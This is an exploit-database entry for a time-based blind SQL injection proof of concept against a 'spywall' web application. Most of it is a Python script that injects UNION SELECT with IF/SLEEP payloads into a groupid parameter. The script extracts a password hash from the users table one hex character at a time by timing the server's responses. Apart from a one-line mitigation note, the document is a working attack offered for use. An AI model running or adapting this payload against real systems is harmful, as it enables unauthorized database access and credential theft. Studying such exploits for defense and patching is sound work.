Blind SQLi POC

vendor:

N/A

by:

_Kc57

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

This exploit is a proof of concept for a Blind SQL Injection vulnerability. It attempts to dump out the first available hash in the users table of spywall_db. It does this by sending a series of requests to the server, each of which contains a different value for a single character in the hash. If the request takes longer than the specified time, the value is assumed to be correct. The exploit then moves on to the next character in the hash.

Mitigation:

Input validation, parameterized queries, and stored procedures can help mitigate SQL injection attacks.

Source

Exploit-DB raw data:

#!/usr/bin/python
# @_Kc57
# Blind SQLi POC
# Dumps out the first available hash in the users table of spywall_db

import urllib
import time
from time import sleep

timing='2.5'
checks = 0

def check_char(i, pos):
	global timimg
	global checks
	checks += 1
	url = 'https://192.168.200.132/spywall/includes/deptUploads_data.php?groupid=1 union select 1,2, IF (%s=conv(mid((select password from users),%s,1),16,10),SLEEP(%s),null);--' % (i,pos,timing)
	start = time.time()
	urllib.urlopen(url)
	end = time.time()
	howlong = end-start
	return howlong

def check_pos(pos):

	for m in range(0,16):
		output = check_char(m, pos)
		print "[*] Character %s - Took %s seconds" % (hex(m)[2:],output)
		if output > 2:
			return hex(m)[2:]
			

md5 = ''
start = time.time()
for y in range(1,33):
	print "Checking position %s" % (y)
	md5 += check_pos(y)
	print md5
	end = time.time()
	howlong = end-start

print "1st hash:%s" % (md5)
print "Found in %s queries" % (checks)
print "Found in %s" %(howlong)